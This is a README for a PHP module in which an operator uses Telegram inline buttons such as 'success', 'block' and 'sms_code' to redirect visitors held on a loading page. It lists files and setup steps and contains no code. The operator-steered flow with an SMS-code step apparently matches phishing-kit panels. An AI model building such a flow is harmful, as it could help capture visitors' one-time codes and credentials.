Portable Telegram Control Module

Overview
- Enables Telegram-controlled redirects in any PHP project.
- Includes webhook and polling handlers, session store, front-end checker, and a demo loading/success flow.

Files
- tg_config.php: Set bot token, chat ID, and options.
- tg_webhook.php: Webhook handler for inline keyboard callbacks.
- tg_check_telegram_updates.php: Polling handler for callbacks.
- tg_check_json_status.php: API returning redirect info for a visitor.
- session/redirects.json: Shared store of redirect instructions.
- session/last_update_id.txt: Tracks last processed update (polling).
- assets/js/redirect-checker-lite.js: Client-side checker.
- load.php: Demo loading page enforcing Telegram-only redirects.
- success.php, error.php: Demo endpoints.

Setup
1) Copy `portable_telegram/` into your project root.
2) Edit `tg_config.php` to set `bot_token` and `chat_id`.
3) Choose transport:
   - Webhook: Set Telegram webhook to your URL:
     https://api.telegram.org/bot<bot_token>/setWebhook?url=https://your.domain/portable_telegram/tg_webhook.php
   - Polling: Call `portable_telegram/tg_check_telegram_updates.php` periodically (or let pages call it).
4) Front-end: Use `portable_telegram/load.php?id=<visitor_id>` as the loading page.
   - Include `assets/js/redirect-checker-lite.js` as shown.
5) Telegram message format: Include `Visitor ID: <your-id>` in message text and inline keyboard buttons with `callback_data` matching supported actions (e.g., `success`, `block`, `sms_code`).

Extending
- Add new actions by extending `$actionMap` in `tg_webhook.php` and `tg_check_telegram_updates.php`.
- Ensure you write `source: 'telegram_button'` so loading page allows redirects.

Testing
- Start a local PHP server in `portable_telegram/` and open `load.php?id=demo123`.
- The demo `redirects.json` will redirect to `success.php` immediately.